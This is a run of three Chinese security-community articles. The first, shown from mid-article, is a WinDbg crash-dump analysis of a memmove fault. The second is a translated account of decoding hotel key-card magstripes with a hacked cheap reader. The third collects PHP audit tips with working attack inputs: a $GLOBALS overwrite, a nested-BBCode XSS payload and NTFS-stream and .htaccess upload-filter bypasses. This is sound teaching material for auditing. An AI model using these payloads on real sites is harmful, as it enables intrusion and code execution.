简单看下，是个常规的访问异常，往0x04c86000这个内存地址中写入数据了；但奇怪的是触发问题的模块居然是VCRUNTIME140，这个模块可是OS的，或者说是IDE自带的库。这就奇怪了，且先看看这个内存地址是Free状态，还是只读状态或者什么其他诡异的情况：
0:030> !address 04c86000
Usage: Free
Base Address: 04c86000
End Address: 04ca0000
Region Size: 0001a000
Type: 00000000
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS
由上可知，是Free状态，且保护属性是NOACCESS，这里多说一句，很多做Windows开发的人在这里可能会迷糊，State和Protect这两个有啥区别，微软为啥搞两个？其实对内核熟悉，或者多CPU的页机制熟悉的话，这个就很好理解了，前者是Windows操作系统为虚拟地址空间维护的一个树节点中，该虚拟内存的状态属性；后者是Windows内核为每个进程维护的页表中该虚拟内存对应的页表的属性；正常情况下这两个属性是完全一致的或者说是接近的；当然，前者是底层无关的，换一个架构比如PowerPC，Mips，Arm等等，也都是没问题，OK的；后者则是架构相关的，虽然其他的架构也有类似于x86的设计，但底层的实现逻辑肯定是有区别的；好了，暂且打住，回归正题；那既然这块内存不该写，为啥会往里边写？看看栈回溯吧，看看是否能够发现点蛛丝马迹；
2.2 step2：寻找程序执行的路径——栈回溯
0:030> .ecxr
eax=073d56c0 ebx=00000d90 ecx=ffeff6c4 edx=00000d90 esi=074d5ffc edi=04c86000
eip=51212dae esp=09edfbb8 ebp=09edfbdc iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
VCRUNTIME140!memmove+0x4e:
51212dae f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:030> kb
*** Stack trace for last set context - .thread/.cxr resets it
ChildEBP RetAddr Args to Child
09edfbbc 5470cb95 04b84934 073d4930 00000d90 VCRUNTIME140!memmove+0x4e [d:\agent\_work\2\s\src\vctools\crt\vcruntime\src\string\i386\MEMCPY.ASM @ 194]
09edfbdc 54751fbd 073d4930 00000d90 073a4058 AppExe+0xcb95
09edfc00 54751ae3 073d4930 000048f4 5487fd84 AppExe+0x51fbd
09edfc38 55d925d5 073d4930 00000d90 d3e7c270 AppExe+0x51ae3
09edfc70 55d922ea d3e7c290 05fbc528 55d92220 AppModule+0x25d5
09edfc90 55d9222a 09edfcd4 5115d5ef 09b9fa44 AppModule+0x22ea
09edfc98 5115d5ef 09b9fa44 d3e7f4e2 00000000 AppModule+0x222a
09edfcd4 75c7344d 05fbc528 09edfd20 77e59802 ucrtbase+0x3d5ef
09edfce0 77e59802 05fbc528 7e0d54e4 00000000 kernel32+0x1344d
09edfd20 77e597d5 5115d5b0 05fbc528 00000000 ntdll+0x39802
09edfd38 00000000 5115d5b0 05fbc528 00000000 ntdll+0x397d5
void *memmove(void *dst, const void *src, size_t n)
很清晰，代码里在拷贝数据，从VCRUNTIME140!memmove这一帧可知，代码执行时，是想从0x073d4930拷贝数据到0x04b84934，拷贝的长度是0x00000d90；根据对汇编中，这种拷贝指令的了解，一般情况下，编译器在生成汇编指令时，都是用的ecx/rcx作为的重复计算的次数，CPU内部每次执行完带有循环结构的指令，如loop或者rep之类的前缀时，都会检测rcx/ecx是否为0；那我们暂且先按照这个假设来看下出问题的寄存器上下文；ecx居然是0xffeff6c4；这不正常，这大概率是异常了，即ecx不停的减1，减到0时没有停止而是继续减下去了；这不合理啊。好了，不猜测了，我们看下memmove的汇编代码；根据Windbg提供的信息可知，memmove这个函数的实现在
MEMCPY.ASM这个文件中，用EveryThing搜索的了下，结果如下：
可以选择看源码去，也可以选择直接用Windbg 反汇编dmp文件中的汇编代码，前者留给你们去看，我们这次就直接看dmp中的汇编代码；截取部分如下：
0:030> uf VCRUNTIME140!memmove
Flow analysis was incomplete, some code may be missing
VCRUNTIME140!memmove [d:\agent\_work\2\s\src\vctools\crt\vcruntime\src\string\i386\MEMCPY.ASM @ 139]:
139 51212d60 57 push edi
151 51212d61 56 push esi
156 51212d62 8b742410 mov esi,dword ptr [esp+10h]
157 51212d66 8b4c2414 mov ecx,dword ptr [esp+14h]
158 51212d6a 8b7c240c mov edi,dword ptr [esp+0Ch]
168 51212d6e 8bc1 mov eax,ecx
170 51212d70 8bd1 mov edx,ecx
171 51212d72 03c6 add eax,esi
173 51212d74 3bfe cmp edi,esi
174 51212d76 7608 jbe VCRUNTIME140!memmove+0x20 (51212d80)
VCRUNTIME140!memmove+0x18 [d:\agent\_work\2\s\src\vctools\crt\vcruntime\src\string\i386\MEMCPY.ASM @ 176]:
176 51212d78 3bf8 cmp edi,eax
177 51212d7a 0f8294020000 jb VCRUNTIME140!TrailingUpVec+0x50 (51213014)
VCRUNTIME140!memmove+0x20 [d:\agent\_work\2\s\src\vctools\crt\vcruntime\src\string\i386\MEMCPY.ASM @ 183]:
183 51212d80 83f920 cmp ecx,20h
184 51212d83 0f82d2040000 jb VCRUNTIME140!TrailingDownVec+0x1eb (5121325b)
VCRUNTIME140!memmove+0x29 [d:\agent\_work\2\s\src\vctools\crt\vcruntime\src\string\i386\MEMCPY.ASM @ 185]:
185 51212d89 81f980000000 cmp ecx,80h
186 51212d8f 7313 jae VCRUNTIME140!memmove+0x44 (51212da4)
VCRUNTIME140!memmove+0x31 [d:\agent\_work\2\s\src\vctools\crt\vcruntime\src\string\i386\MEMCPY.ASM @ 187]:
187 51212d91 0fba2514f0215101 bt dword ptr [VCRUNTIME140!__isa_enabled (5121f014)],1
188 51212d99 0f828e040000 jb VCRUNTIME140!TrailingDownVec+0x1bd (5121322d)
VCRUNTIME140!memmove+0x3f [d:\agent\_work\2\s\src\vctools\crt\vcruntime\src\string\i386\MEMCPY.ASM @ 189]:
189 51212d9f e9e3010000 jmp VCRUNTIME140!memmove+0x227 (51212f87)
。。。省略
这个函数很长，大家在以后分析dmp或者做安全逆向分析恶意代码时也会遇到，没有源文件，那么我们肯定不会用Windbg或者其他工具来直接看，效率太低下了，用Notepad++来分析，会事半功倍；如下截图所示：
下边我们的任务显然就是来看看这个VCRUNTIME140!_favor的值是多少了；如下：
0:030> dd VCRUNTIME140!__favor
5121f2d0 ???????? ???????? ???????? ????????
5121f2e0 ???????? ???????? ???????? ????????
5121f2f0 ???????? ???????? ???????? ????????
很不幸，该dmp中没有保存这个数据，没办法，为了减小dmp文件的大小，必然要压缩掉一些数据，而有时候这些数据确实至关重要的。那怎么办？没关系，我们本地写个简单的小程序来测试下：
由图可知，这个变量的bit1位为1，为1意味着jae那条指令不跳，不跳意味着memmove的拷贝由rep这个指令前缀来重复操作完成的，但这里有个问题，我本地的这个__favor为2，是不是就意味着dmp用户那里的也为2呢？这个不好说，那怎么办？山穷水尽了吗？还没有，最快捷的办法就是百度下看看这个变量干嘛用的。可惜的是，百度出来一堆垃圾，或许Google一下能有一点点，但也别抱太大希望。好了，那就自求多福吧；
2.3 step3：寻找VCRUNTIME140!__favor的写入点——看看这个变量到底指代什么
如何确定这个变量到底在哪里初始化的呢？方法很多，比如用内存搜寻软件遍历IDE下的所有文件，或许能找到些，但作为专业的人应该干专业的事情，上调试器吧，下一个内存写断点，一切搞定。对于这个目的，VS可以做，但不专业，祭出Windbg吧，如下：
0:000> ba r4 VCRUNTIME140D!__favor
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=029c67af ecx=00000004 edx=00000200 esi=00c0f0e4 edi=0f755720
eip=0f755947 esp=00c0f0bc ebp=00c0f104 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
VCRUNTIME140D!__isa_available_init+0x1f7:
0f755947 83c802 or eax,2
有两点值得说明：1)此时我们应该用r标志，读写都可以断下开；2)此时我们下断点的模块是VCRUNTIME140D而不是VCRUNTIME140，应该当前处于调试模式；断下来了，多么神奇的操作，瞬间定位到感兴趣的地方；看样子是VCRUNTIME140D!__isa_available_init()这个函数里边初始化的；稍微往前看下这个指令的or
eax，2在什么情况下会走到；
三次ub指令便找到了根源；原来是用的cpuid指令，传入的参数是7；当然根据善解人意的Windbg的提示可知，这个函数在cpu_disp.c这个文件中实现了，那就找下这个文件；
啥也没有，看来微软并不想把这个公开出来，没关系；我们先看下栈吧，看看什么逻辑走到的这里，然后再来深究这个cpuid+7到底干啥的，调用栈如下：
0:000> k
ChildEBP RetAddr
00c0f104 0f749938 VCRUNTIME140D!__isa_available_init+0x1f7 [d:\agent\_work\3\s\src\vctools\crt\vcstartup\src\misc\i386\cpu_disp.c @ 108]
00c0f10c 0f7556b8 VCRUNTIME140D!__vcrt_initialize+0x8 [d:\agent\_work\3\s\src\vctools\crt\vcruntime\src\internal\initialization.cpp @ 59]
00c0f114 0f755648 VCRUNTIME140D!DllMainProcessAttach+0x8 [d:\agent\_work\3\s\src\vctools\crt\vcruntime\src\dll\vcruntime_dllmain.cpp @ 17]
00c0f128 0f75573f VCRUNTIME140D!DllMainDispatch+0x28 [d:\agent\_work\3\s\src\vctools\crt\vcruntime\src\dll\vcruntime_dllmain.cpp @ 49]
00c0f13c 7786a896 VCRUNTIME140D!__vcrt_DllMain+0x1f [d:\agent\_work\3\s\src\vctools\crt\vcruntime\src\dll\vcruntime_dllmain.cpp @ 88]
00c0f15c 778401a6 ntdll!LdrxCallInitRoutine+0x16
00c0f1a8 77838141 ntdll!LdrpCallInitRoutine+0x55
00c0f230 77837e03 ntdll!LdrpInitializeNode+0x110
00c0f254 77837de6 ntdll!LdrpInitializeGraphRecurse+0x7d
00c0f27c 778a2a2b ntdll!LdrpInitializeGraphRecurse+0x60
00c0f4d8 77863242 ntdll!LdrpInitializeProcess+0x1d0f
00c0f534 7786310c ntdll!_LdrpInitialize+0xe0
00c0f544 00000000 ntdll!LdrInitializeThunk+0x1c
很清楚了，在进程刚启动时，加载VCRUNTIME140D执行其入口函数时，执行了初始化的动作；那下边就搜索下cpuid+7这个指令的具体作用了，如下：
根据搜索到的信息来看，这个所谓的ERMS确实是Intel提供的优化新能的指令，CPUID+7就是来检测当前的CPU是否支持这个性能优化指令的；一切都顺理成章；那下边就要确定下从哪一代Intel的CPU开始，这个ERMS特性是支持的了，这个要查询Intel的白皮书了；
由图可知，从Ivy Bridge这个架构开始就支持ERMS特性了，OK，那下一步就是确认，当前dmp产生式，用户的机器型号了，如下：
0:030> !cpuid
CP F/M/S Manufacturer MHz
0 6,10,9 GenuineIntel 3201
1 6,10,9 GenuineIntel 3201
2 6,10,9 GenuineIntel 3201
3 6,10,9 GenuineIntel 3201
好，下边就检查一下这个参数所对应的型号信息；当然，我这里直接用了上报上来的信息了，如下：
那基本确定了；触发crash的用户的电脑是支持ERMS特性的；
2.4 step4：再次分析——得出结论
综上分析可知，程序最终走的是下边这行代码，ecx中存放的是复制的字节数，那看下数据；
51212dae f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:030> db 073d4930 ld90
073d4930 b6 f9 2c bf af 27 b0 b7-56 2f 7f d8 7c e6 1f f6 ..,..'..V/..|...
073d4940 7b 33 47 6e be 17 04 f3-fb 12 90 75 9a 2a d7 0e {3Gn.......u.*..
073d4950 8f 85 63 b8 09 a8 31 f8-00 63 ed 72 84 91 e0 2f ..c...1..c.r.../
073d4960 53 c5 96 ee 14 6d ae 3c-c5 fc f5 84 59 31 6e ea S....m.<....Y1n.
073d4970 06 8d 50 61 a0 74 06 6d-39 1c 64 4d e4 ce 24 d8 ..Pa.t.m9.dM..$.
073d4980 48 54 e8 be b4 05 3f b6-c4 a0 28 36 8b ef c0 a6 HT....?...(6....
073d4990 5f 1e 3e 1d 38 75 85 3f-77 97 97 e5 c8 ba 73 27 _.>.8u.?w.....s'
073d49a0 c7 a5 40 30 06 59 89 8f-02 e6 26 48 39 4a 51 c4 [email protected]....&H9JQ.
073d49b0 76 51 1b e5 5e b6 7e 7d-31 1b 62 df 3d 82 ed a0 vQ..^.~}1.b.=...
073d49c0 f6 3d 2c 13 07 0a d8 8b-75 73 56 7e 7f 7c a9 1b .=,.....usV~.|..
0:030> db 04b84934 ld90
04b84934 b6 f9 2c bf af 27 b0 b7-56 2f 7f d8 7c e6 1f f6 ..,..'..V/..|...
04b84944 7b 33 47 6e be 17 04 f3-fb 12 90 75 9a 2a d7 0e {3Gn.......u.*..
04b84954 8f 85 63 b8 09 a8 31 f8-00 63 ed 72 84 91 e0 2f ..c...1..c.r.../
04b84964 53 c5 96 ee 14 6d ae 3c-c5 fc f5 84 59 31 6e ea S....m.<....Y1n.
04b84974 06 8d 50 61 a0 74 06 6d-39 1c 64 4d e4 ce 24 d8 ..Pa.t.m9.dM..$.
04b84984 48 54 e8 be b4 05 3f b6-c4 a0 28 36 8b ef c0 a6 HT....?...(6....
04b84994 5f 1e 3e 1d 38 75 85 3f-77 97 97 e5 c8 ba 73 27 _.>.8u.?w.....s'
04b849a4 c7 a5 40 30 06 59 89 8f-02 e6 26 48 39 4a 51 c4 [email protected]....&H9JQ.
04b849b4 76 51 1b e5 5e b6 7e 7d-31 1b 62 df 3d 82 ed a0 vQ..^.~}1.b.=...
04b849c4 f6 3d 2c 13 07 0a d8 8b-75 73 56 7e 7f 7c a9 1b .=,.....usV~.|..
数据都是一样的，说明拷贝的没什么问题，再来看看拷贝的长度：
0:030> r
Last set context:
eax=073d56c0 ebx=00000d90 ecx=ffeff6c4 edx=00000d90 esi=074d5ffc edi=04c86000
eip=51212dae esp=09edfbb8 ebp=09edfbdc iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
VCRUNTIME140!memmove+0x4e:
51212dae f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:030> ?esi-073d4930
Evaluate expression: 1054412 = 001016cc
0:030> ?04c86000-04b84934
Evaluate expression: 1054412 = 001016cc
0:030> ?00000d90+100000000-ffeff6c4
Evaluate expression: 1054412 = 001016cc
数据都是对的上的，基本确定是rep重复执行过程中，ecx为0了，但CPU却没有停止这个循环过程，而是继续执行，导致ecx变为了-1即0xFFFFFFFF，然后就一发不可收拾了；但不能100%保证这是个硬件问题，很可能是受到外部什么东西的干扰了，或者其他未知的情况，至此这桩议案总算有点眉目了；
## 3、总结
从一次dmp的分析中，我们先后讲解了分析问题的思路，在缺少关键数据的情况下如何在本地复现问题，又是如何利用调试器帮助我们快速的定位到关键数据点的；而后又紧接着介绍了如何根据仅有的数据一步一步搜索到更为有用的信息，最终基本确定问题的起因，希望通过此文，大家能够在面对此类问题时，有一个解决问题的思路； | 社区文章 |
# 关于如何使用信用卡磁条阅读器读取酒店钥匙卡数据的分析
##### 译文声明
本文是翻译文章，文章来源：labs.portcullis.co.uk
原文地址：<https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中，我描述了为什么廉价的磁条阅读器不能读取所有的磁条，只能读取信用卡和借记卡。这并不能帮助了解酒店钥匙卡上的数据，而这正是我真正想要知道的。我没有特意地去购买更好的阅读器，而是选择了打开廉价的磁条阅读器，略作探索，找到了一种从酒店钥匙卡读取原始数据的方法。这些数据意味着什么，仍然是个谜，因此在某个时候我可能会发布文章的第二部分。
## 关于我的磁条阅读器
我在2017年以11.85英镑购买了以下阅读器：
来自eBay的廉价阅读器
它通过USB连接，被检测为键盘。如果你通过阅读器刷信用卡/借记卡，那么文本编辑器就会像得到输入指令一样显示来自磁条的相应数据。如果你当时没有打开文本编辑器，你将看不到磁条上的任何信息。
它在Windows和Linux下都能正常工作，但仅适用于信用卡/借记卡。当我刷酒店钥匙卡时，我什么数据都没有得到。
## 为什么不换一个阅读器？
我本可以采取一些不同的（毫无疑问更好的）方法来实现这个项目，找一个更好的磁条阅读器就是其中一种选择。通过谷歌搜索来更好地了解酒店磁条无疑是最有成效的方法，但可能会降低一些我们解决问题的能力。当被卡住时，我总是可以通过谷歌搜索来解决。
我投资了一台MSR605X读写器。我之前没有使用过它，但它能够做原始读取。我可能会在以后的文章中对它进行介绍。
## 为廉价的阅读器做好计划
我认为廉价的阅读器中的磁读头几乎肯定能够从酒店钥匙卡或任何其他带有磁条的卡中读取数据。但实际上，它们只能读取支付卡数据。如果我可以在阅读器内的正确位置探测电子信号，我应该能够看到磁条上的1和0代码信息。
阅读器内的磁读头
我只有一个模糊的计划，当然不会是阻力最小的道路，但最终会有成效……
## 探索模拟信号
我有两种工具可以使用（这是一个基于家庭的项目，而不是基于办公室的项目）：
l 廉价的手持式示波器（Sainsmart DS202）
l Saleae Logic逻辑分析仪
我很快意识到，可以把探头连接到读头上，上面有7个连接点。
读头背面的连接点
如果将读头直接连接到我的示波器上，我就可以在刷卡时看到模拟信号。最终，我希望用这个信号做一些事情来获取我想要的数据。
将读头直接连接到示波器上
我尝试将这7个探测点以不同的组合连接到我的示波器，但根本没有发现任何信号。也许是信号太弱了，或者（回想起来）我做的探测工作还不到位。
至此，我只能在去谷歌搜索更多关于芯片的信息了。它有一个2倍运算放大器和一个1倍模拟比较器：
l 2xLM2902DG（运算放大器）
l 1xLM2901DG（模拟比较器）
2倍运算放大器
模拟比较器（左），STM32微控制器（右）
这些芯片负责放大来自读头的信号。因此，如果连接到每个输出，我可能会看到一个信号，我可以用它来确定磁条上的数据。为此，我通过使用数据表来识别每个芯片的输出引脚。
2倍运算放大器的输出峰值为0.5-0.6v，使用我的示波器可以轻松查看，但我无法将其提供给我的逻辑分析仪。我需要大约3v的峰值。信号看起来也很没有规律，不是我希望的方波。
模拟比较器的输出正是我所追求的。一个不错的3或4v的峰值方波，仅在我刷卡时出现。这时，比较器有4个输出，其中一个从未发出信号，对于可以读取3轨磁条的读头来说，这似乎是合理的。是时候将它提供给逻辑分析仪，并开始计算由0或1构成的信号的内容了……
## 计算信号的内容
到目前为止，进展非常快。这正在形成一个有趣的项目。
这是Saleae Logic软件中比较器的输出：
通过逻辑分析仪查看比较器输出
请注意，我们只看到1个方波，而不是3个。这是因为这个特定的钥匙卡在3个轨道中的只有1个有数据。
所以，我们只有一个信号要分析，但我们还没有计算出信号的内容。
1992年的Phrack37给了我们帮助：
关于1和0如何在磁条上编码的ASCII解释
本质上0和1在编码时都是相同的长度。只是1改变了状态，而0没有改变状态。注意，0可以是高的或低的。
我没有仅通过观察来解码1和0，而是编写了一个Python脚本，它解析了逻辑分析仪中导出的数据并转储了1和0。以下是导出为CSV时“Logic”（Saleae软件）使用的格式：
从Saleae的Logic软件导出CSV格式
由于数据的波特率不是常量，因此编写Python代码很难。它取决于钥匙卡划过读头的速度。在编写代码时，我因为一些错误而走了弯路，但最终找到了一个有效的解决方案。
这是一个散点图，所显示的方波脉冲的持续时间并没有预期的两个值。相反，可以看到各种范围的值。它仍然可以从1（短脉冲，蓝色/紫色点）到0（长脉冲，绿点），见下图（上）。每个连续脉冲与最后一个脉冲的比率是从1到o的，见下图：
图表显示脉冲持续时间（delta）需要多少值，而不是预期的两个值
## 字节/字符
正如在phrack论文中提到的，信用卡使用2个轨道，其中一个字符由5位（4位\+ 1个奇偶校验）组成，另一个字符由7位（6位\+ 1个奇偶校验）组成。
我花了很多时间来编写信用卡解码器。部分原因是因为我需要确定我正确读取了1和o，另一部分原因是因为我认为我需要代码来查看酒店钥匙卡中是否使用了相同的字符类型。
对此进行编码的挑战之一是需要知道数据的开始位置和前导码何时结束。似乎“Sentinel
”命令可用于标记数据的开始/结束。这些是特殊字符（位模式），读者可以在条带的开头和结尾查找…然后它才会有意义。这就是阅读器只能用于信用卡的原因：固件正在寻找信用卡使用的标记。它无法解码酒店钥匙卡，因为数据的开始或结束位置并不明显或数据没有构成一个什么进程。此外，可能缺乏有效的[纵向冗余校验（LRC）](https://en.wikipedia.org/wiki/Longitudinal_redundancy_check
"纵向冗余检查（LRC）")。
## 识别酒店钥匙卡磁条上的字符
我在酒店钥匙卡的磁条上运行了信用卡代码，看看是否有所有5位或所有7位的奇数奇偶校验。不幸的是，没有。这可能是廉价的磁条阅读器失败的另一个原因。
然后我对1和0进行了一些频率分析。由于很多5位和7位的值都有自己的特点，我在信用卡磁条上看到了它们各自对应的内容。7位磁条上有20个空格。因此，使用频率分析，我应该能够猜测到正在使用7位字符。
通过将一些酒店钥匙卡数据分成8位模式，我们注意到1和0的相同字符串发生的次数比预期的要多得多。所以我的猜测是，酒店钥匙卡使用了8位字符。
下面是我的Python脚本的一些输出样本：
l 原始位
l
字符串（带十六进制转储），如果使用5位、6位、7位或8位字符，则是正确的。虽然“正确性”取决于奇偶校验、位顺序以及位值映射到的字符集。这里有很多错误和改进的空间
l 检查字符内的奇数/偶数奇偶校验
l 寻找常见字符的频率分析，用于改变字符长度
`[+] Parsing ``file` `export``.csv`
` ``[-] Flips ``in` `channel 0: 3`
` ``[-] Flips ``in` `channel 1: 1652`
` ``[-] Flips ``in` `channel 2: 3`
`[+] Analysing swipes`
` ``[-] Channel 0:`
` ``[-] Channel 1:`
` ``[-] Swipe 0: 693 bits`
` ``[-] Swipe 1: 701 bits`
` ``[-] Channel 2:`
`[+] Creating Plots`
` ``[-] creating plots with dimensions (1637, 1637), (1637, 1637)`
` ``[-] saving plot to ``file``: ``export``.csv-plot-channel-1.png`
`----------------------- CHANNEL 1 SWIPE 0 -----------------------`
`[+] Length (bits) = 266 (%5 = 1, %6 = 2, %7 = 0, % 8= 2)`
`[+] Data:
10100110001001100010011000100110001001100010011000100110001001100010011000100110001001100101011011100110101001001101100110100110001001100111110110111100111101100010000000100110011001101100001010010101001001001110110100000111001101011101100001100101101000101010011001`
`[+] Strings:`
` ``[-] 5 bit:
5398621<4398621<43:>62<3539<;><=409<615549=1>6>36=1:6`
` ``[-] length: 53`
` ``[-] hex: `
` ``35 33 39 38 36 32 31 3c 34 33 39 38 36 32 31 3c 5398621<4398621<`
` ``34 33 3a 3e 36 32 3c 33 35 33 39 3c 3b 3e 3c 3d
43:>62<3539<;><=`
` ``34 30 39 3c 36 31 35 35 34 39 3d 31 3e 36 3e 33 409<615549=1>6>3`
` ``36 3d 31 3a 36 6=1:6`
`[-] 6 bit: E(1C&,9RD(1CFM92;+1S;G;"D,-**DMPLW8M4,`
` ``[-] length: 38`
` ``[-] hex: `
` ``45 28 31 43 26 2c 39 52 44 28 31 43 46 4d 39 32 E(1C&,9RD(1CFM92`
` ``3b 2b 31 53 3b 47 3b 22 44 2c 2d 2a 2a 44 4d 50 ;+1S;G;"D,-**DMP`
` ``4c 57 38 4d 34 2c LW8M4,`
`[-] 7 bit: %..``#...2$..#&-.....3.'..$....$-0,7.-.`
` ``[-] length: 37`
` ``[-] hex: `
` ``25 08 11 23 06 0c 19 32 24 08 11 23 26 2d 19 12 %..``#...2$..#&-..`
` ``1b 0b 11 33 1b 27 1b 02 24 0c 0d 0a 0a 24 2d 30 ...3.'..$....$-0`
` ``2c 37 18 2d 14 ,7.-.`
`[-] 8 bit: .&&&&&&&&&&V....&}..
&f..$..5.e..@`
` ``[-] length: 34`
` ``[-] hex: `
` ``a6 26 26 26 26 26 26 26 26 26 26 56 e6 a4 d9 a6
.&&&&&&&&&&V....`
` ``26 7d ``bc` `f6 20 26 66 c2 95 24 ed 07 35 d8 65 a2 &}..
&f..$..5.e.`
` ``a6 40 .@`
`[+] Parity ``for` `5 bit chars: odd: False, even: False)`
`[+] Parity ``for` `6 bit chars: odd: False, even: False)`
`[+] Parity ``for` `7 bit chars: odd: False, even: False)`
`[+] Parity ``for` `8 bit chars: odd: False, even: False)`
`[+] Frequency analysis ``for` `potential char lengths:`
` ``[-] 5 bits:`
` ``10011: 5`
` ``11000: 4`
` ``01100: 4`
` ``00110: 4`
` ``00100: 4`
` ``[-] 6 bits:`
` ``100110: 5`
` ``100010: 5`
` ``011000: 5`
` ``011001: 4`
` ``001001: 4`
` ``[-] 7 bits:`
` ``1000100: 3`
` ``0010011: 3`
` ``1101100: 2`
` ``1100010: 2`
` ``1011010: 2`
` ``[-] 8 bits:`
` ``00100110: 12 < common 8-bit patter implies 8-bit chars?`
` ``10100110: 3`
`...snip...`
---
上面的数据来自于实际的酒店钥匙卡（尽管酒店后来改用了RFID锁）。
我还开始研究XORing、旋转字符（rot13格式）、位序和偏移的整个位流（以防止我在把字符组合放到错误的位置）。不过，到目前为止这些都还没有成功。
这就是我所得到的。如果我能解码钥匙上的任何数据，我一定会再次发布。我希望能看到我的房间号和结账日期。但同样，一个不以明文形式出现的加密字符串也不会让我惊讶——这是我在某些卡片上所看到过的。
## 结论
以廉价和耗时的方式来做事也可以很有趣——这也是练习编写代码、了解[matplotlib](https://matplotlib.org/
"matplotlib")以及逻辑分析仪的好机会。
## 进一步阅读/观看
如果你想了解更多有关磁条的信息（在它们变得完全过时之前），请查看：
[Samy Kamkar的magspoof工具](https://samy.pl/magspoof/ "Samy
Kamkar的magspoof工具")（[视频链接](https://www.youtube.com/watch?v=UHSFf0Lz1qc
"视频链接")）–如果你需要你的计算机通过磁头来传输恶意数据，可能会很有用。
[DEF CON 24-Weston Hecker
–黑掉酒店钥匙和销售点系统](https://www.youtube.com/watch?v=mV_0k9Fh590 "DEF CON 24 -Weston Hecker - 黑客酒店钥匙和销售点系统")
我很受这些项目的启发。
审核人：yiwang 编辑：边边 | 社区文章 |
# 前言
最近在学习中学到了不少审计时的小技巧，都比较简单，但有一些在代码中比较容易出现的错误，这里做了一下总结分享，有错误希望师傅们斧正，一起交流学习。
# for 循环中的 count
这个小技巧是从这里看到的：[关于CMSMS中SQL注入漏洞的复现与分析与利用](https://www.freebuf.com/vuls/207026.html)
当 `count` 出现在 `for` 循环中，`count` 每次都会计算，如果这时候数组发生了变化，就会有一些差异。
例子：
<?php
$a = array("a","b","c");
for ($i=0; $i < count($a); $i++) {
if(intval($a[$i])<1){
unset($a[$i]);
}
}
var_dump($a);
## 分析
这里原本的目的是将数组中不是数字的值都删掉，我们来分析一下流程：
1. 首先取值 `count($a)`，此时为 `3`
2. 循环第一次，`$i=0`，判断 `$a[0]` 是否小于 `1`，返回 `True`，`unset` 掉，此时 `$a` 为 `["b","c"]`
3. 循环第二次，`$i=1`，执行 `count($a)`，此时为 `2`，因为 `1<2`，进入循环，判断 `$a[1]`，也就是 `b` 是否小于 `1`，返回 `True`，`unset` 掉，此时数组剩一个 `$a[2]`，也就是 `c`
4. 循环第三次，`$i=2`，执行 `count($a)`，此时为 `1`，因为 `2>1`，进不了循环了，自然就不能到 `if` 和 `unset` 这块。
（可能讲起来还是有点绕，可以自己试试就明白了）
## 思路扩展
比如下次在审计中，可以留意 `for` 循环中是否是用了 `count` 这种重新计算的函数，并且在循环内操作了这个变量。
# 全局变量的覆盖
这是在翻 `dedecms` 往日漏洞时发现的，如果一个 `CMS` 注册全局变量时，用了这样的操作：
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = $_v;
}
看起来这样好像控制了不能改 `GLOBALS`，但是这里却忽略了个很重要的问题，就是没过滤 `_POST`（最新版本的 `dedecms` 是过滤了
`_POST` 和 `_COOKIE` 的）
这里怎么构造呢？我们可以控制 `get` 成这样的值：`_POST[GLOBALS][xixi] = 1;`
当执行检测时，由于 `$key` 是 `_POST`，所以不会被检测，此时 `post` 参数是空，然后执行到下面。
执行 `foreach` 时，第一次循环，此时 `$_request` 是 `_GET`，然后 `$_k` 是 `_POST`，所以是
`${_POST}['GLOBALS']['xixi'] = 1;`
然后执行到第二次 `foreach`，此时 `$_request` 为 `_POST`，`$_k` 就是数组的键，自然就是
`GLOBALS`，所以执行的就是 `${GLOBALS}['xixi']=1`
这样就覆盖了 `$GLOBALS` 了。。
# 富文本编辑中的 XSS
`bbcode`，就是一种用短标签代替 `html` 标签的方法，一般是通过正则匹配替换的，通常出现在富文本编辑器中。
这个小技巧是从 [Mybb 18.20 From Stored XSS to RCE
分析](https://www.anquanke.com/post/id/180272) 这个漏洞中学到的。
直接说技巧吧，当富文本编辑器中的双引号被转义了，可以考虑在标签中再嵌套标签。说起来比较难理解，直接上代码吧：
<?php
$video_tag = '<iframe url="\1"></iframe>';
$url_tag = '<a href="\1">\2</a>';
$content = "[video]https://youku.com[/video]";
$content.= "[url=https://baidu.com]百度[/url]";
$content = preg_replace("/\[video\](.*?)\[\/video\]/",$video_tag,$content);
$content = preg_replace("/\[url=(.*?)\](.*?)\[\/url\]/",$url_tag,$content);
echo $content;
初衷当然就是利用一些正则替换代替标签，但是如果当没做好过滤时，就可能发生这样的事情，如果我们的 `$content` 变形一下：
`[video][url=onload=alert(1);//]xixi[/url][/video]`
看看这时候：
`a` 标签中的双引号闭合了 `iframe` 标签的，最后的双引号也可以用 `//` 注释。。
# 文件上传黑名单绕过
文件上传中的一些小技巧。
## NTFS ADS
黑名单的话，什么 `php3 4 5 6 7` 这些就不提了。。
首先是前几天 `lz1y` 表哥的文中：[代码审计 xxxdisk前台Getshell](https://xz.aliyun.com/t/5594)
也有提到的文件名为 `a.php:$data` 时，可以绕过黑名单检测。
我记得之前有技巧是文件名为 `a.php/.` 也可以绕过的，但是测试了一下发现又不太行。。
也可以上传一个文件名是 `a.php:b.jpg` ，这时候文件内容会变成空，如果有文件操作的函数就可以用上这个技巧。
这里补一张图：
图片出处：[我的WafBypass之道（Upload篇）](https://xz.aliyun.com/t/337)
## .htaccess 与 getimagesize
当然如果实在想上传一个 `.htaccess` 也可以，如果他有 `getimagesize` 也不怕。
前几天
p牛就发过一篇博客：[imagemagick邂逅getimagesize的那点事儿](https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html)
因为 `XBM` 格式只要有
#define test_width 16
#define test_height 7
这两行就可以，又因为 `#` 在 `.htaccess` 里是注释，所以直接加在前两行都没问题。
